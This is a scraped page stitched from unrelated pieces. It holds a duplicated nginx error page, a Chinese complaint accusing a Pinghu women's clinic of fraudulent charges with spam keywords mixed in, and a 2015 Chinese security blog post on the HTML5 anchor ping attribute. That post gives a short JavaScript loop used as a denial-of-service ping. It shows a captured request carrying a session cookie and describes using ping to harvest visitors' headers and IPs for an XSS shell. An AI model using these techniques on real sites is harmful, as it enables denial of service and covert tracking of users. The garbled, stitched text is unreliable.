The page is temporarily unavailable
nginx error!
The page you are looking for is temporarily unavailable.
Please try again later.
Website Administrator
Something has triggered an error on your
This is the default error page for
nginx that is distributed with
It is located
/usr/share/nginx/html/50x.html
You should customize this error page for your own
site or edit the error_page directive in
the nginx configuration file
/etc/nginx/nginx.conf.The page is temporarily unavailable
nginx error!
The page you are looking for is temporarily unavailable.
Please try again later.
Website Administrator
Something has triggered an error on your
This is the default error page for
nginx that is distributed with
It is located
/usr/share/nginx/html/50x.html
You should customize this error page for your own
site or edit the error_page directive in
the nginx configuration file
/etc/nginx/nginx.conf.您现在的位置： >
投诉曝光：平湖广场斜对面的&龙爱妇科门诊部&骗子医院 傻春全集在线观看优酷
本文摘要：经过朋友介绍去平湖龙爱医院做人流，咨询完后选择了1280的套餐，临走时医生说先交两百元押金，明天来的时候再补1080，第二天老公带我到了医院，交费的时候是1350，医生解释说这个套餐是不包括打滴的，当时我们也没说什么，过了一会医生给了我两粒药，叫我吃 假小子 假小子戴安 快乐孕妈假小子是谁 网王之假小子 范冰冰魔范学院假小子 假小子发型 假小子拽翻天
经过朋友介绍去平湖龙爱医院做人流，咨询完后选择了1280的套餐，临走时医生说先交两百元押金，明天来的时候再补1080，第二天老公带我到了医院，交费的时候是1350，医生解释说这个套餐是不包括打滴的，当时我们也没说什么，过了一会医生给了我两粒药，叫我吃了。接着带我去做阴道镜，他们说仪器坏了，拍不了片子，就用手在子宫里弄来弄去，说白带多什么什么的，需要清理，如果不清理，流产时会有炎症，而且还很严重之类的话,用手机拍给我看了，白带确实很多，她说清理一下700元，七天上药，不包括每天的打滴，于是又交了700。老公说不同意，知道她们是在骗钱，可是我同意了，他也没说什么，二十分钟带我去了手术室，又说我子宫里面长息肉，子宫囊肿，还有很严重的宫颈糜烂，必须做手术，还说息肉有点长，如果不处理的话，很难人流。我说手术肯定贵先不管它，以后再慢慢治疗，随后她拿手机拍照给我看，确实蛮长的，心里面又当心害怕，她说要不我给你把它剥掉，如果能忍的话，半个小时就可以了。说完就拿什么东西在剪子宫里面的肉，痛的我差点咽气了，她们说只能手术了，痛的头都晕乎乎的，我说好同意做，费用多少?她们说宫颈糜烂，息肉，子宫囊肿三种手术5590,包括术后复查，但是也不包括打滴，我说身上没有带钱，先荣我出去打电话向亲戚接，她们说待会做完了在打电话借，无奈中同意了，她们说你是在有意识的情况下同意的是吗?我说是的，给了我一张纸就签字画押了。用微光做了二十来分钟，一点也不痛(做的时候下面有一股焦味，闻到就想吐),接着离开了手术室，心里就仔细在想，越想越不对劲，说我这里有病那里有病，怎么就没有拍片呢?给我吃的药会不会是迷药?做那种手术怎么可能会5590?每次交钱又没有正式的单子，只凭一张纸?还问我是不是在有意识的情况下同意签子字画押?朋友们，你们说这种医院是不是太黑了，一天就坑7000多，如果在这里按她们说的七天上药打点滴，岂不是得上万呀!钱花了,什么也没做，问题更没有解决。我在这里奉劝大家不要去这个医院，进去了就是无底洞HTML5：&a&的ping属性之死亡ping与隐私追踪
您当前位置： &
[ 所属分类
| 时间 2015 |
作者 红领巾 ]
在中&a& 标签加入了一个新的属性ping。设计者加入它的理由是， Ping可以使浏览器对外发送一个异步请求，通常用来广告的追踪、点击率统计或完成一次HTTP重定向。
但是听到监视、追踪这个词，你是不是也觉得有点不舒服，所以Ping这个属性真的是很不受欢迎。浏览器一度抵制、进而加入默认关闭必须从如config这样的选项中打开才可以使用，到现在我从上还没有追寻到哪个浏览器支持它，但在我测试中最新版Chrome44是默认支持Ping的。
一、Ping的用法
Ping的用法很简单，这里举一个例子。
&a href="" ping="/track"&click me&/a&
当你点击click me的时候，会异步发送一个POST请求到Ping后面指定的地址，Request Body的内容为PING。有人可能会说，那&a ping="/track"&click me&/a&这段代码行不行？答案是否定的，href这个属性必须存在与&a&中，不然Ping也是不会运行的。
二、死亡之PING
根据Ping发送POST请求这个特性，我们可以使用循环使之不停的向一个地址追加POST请求，造成DOS攻击。
&script& var link = document.createElement('a'); link.href=""; link.ping = '/'; document.head.appendChild(link); link.click(); &/script&
运行上面的代码，就会不停的向发送POST请求。
请运行在线DEMO： DOS.html
｛chrome｝
三、隐私追踪
Ping可以进行广告追踪，它可以统计用户都点击了哪些链接以及次数，并使用POST请求把这些信息发送到广告商的服务器上。那么POST的这些信息都包含了什么呢，简单来说HTTP Header的内容都会有，我们来看一个截获的完整信息
HOST: CONTENT-LENGTH: 4ORIGIN: PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977USER-AGENT: Mozilla/5.0 ( NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0. Safari/537.36PING-TO: /CONTENT-TYPE: text/pingACCEPT: */*REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977ACCEPT-ENCODING: gzip, deflateACCEPT-LANGUAGE: zh-CN,q=0.8COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13CACHE-CONTROL: max-age=0CONNECTION: keep-alive
PING-FROM、USER-AGENT、REFERER这三个关键信息，直接泄漏了用户的隐私。而这也为我们最爱的XSSSHELL又提供了一个小插件。对于图片探针如果没了新鲜感，那么请试试Ping探针吧，简单的一句&a href="" ping=&就搞定！
追踪这事是攻击者的最爱，我简单做了一个DEMO，打开aping.html这个页面，点击后，你会前往wathwg，并且我异步重定向了下w3.org，但同时你的HTTP Header/IP就被我获取到了。你可以通过这个链接查看截获到的信息，Ping.html。
请访问在线DEMO： aping.html
把PING归结为探测用户隐私的范畴一点也不为过。这其实不怪设计者，Ping的最初设计理念，是为了使得广告统计更加方便简洁，哪怕是它的重定向功能，也是为了在异步请求的情况下使用户整体提高访问页面速度的快感。但是这仿佛也无法遮掩住PING的潜在探测用户隐私的特性。也许这就是PING的先天性缺陷。
HTML5中，&a&标签多了几个属性，如download/ping。2012年时，我在百度HI写了一篇《HTML5 A[download] 攻击模型》，就对当时download的攻击思路做了简单的分析，可惜百度HI关闭了，download那篇也石沉大海，但三年下来，再看那篇文章，当时提出的一些攻击点，浏览器也已经做了相应的防御，从中看到了攻防对抗的变化和浏览器厂商的激进与妥协。
这种感悟是挺好的，你可以对应着如笔记般的进行标注，这些变化是什么、为什么这么变等等，我觉得应该时不时的把前些年的文章拿出来，和现在的形式对比下，有些东西不得不从这种长时间轴的总结和更新中才能得出结论来，比如10年间消失的10种WEB攻击、浏览器厂商的激进与妥协、10年后WEB是什么样的……
* 作者/xisigr，属原创奖励计划文章，未经许可禁止转载
转载请注明本文标题：本站链接：
分享请点击：
1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责；
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性，不作出任何保证或承若；
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
任何地方只要你爱它，它就是你的世界
手机客户端
，专注代码审计及安全周边编程，转载请注明出处：http://www.codesec.net
转载文章如有侵权，请邮件 admin[at]codesec.net}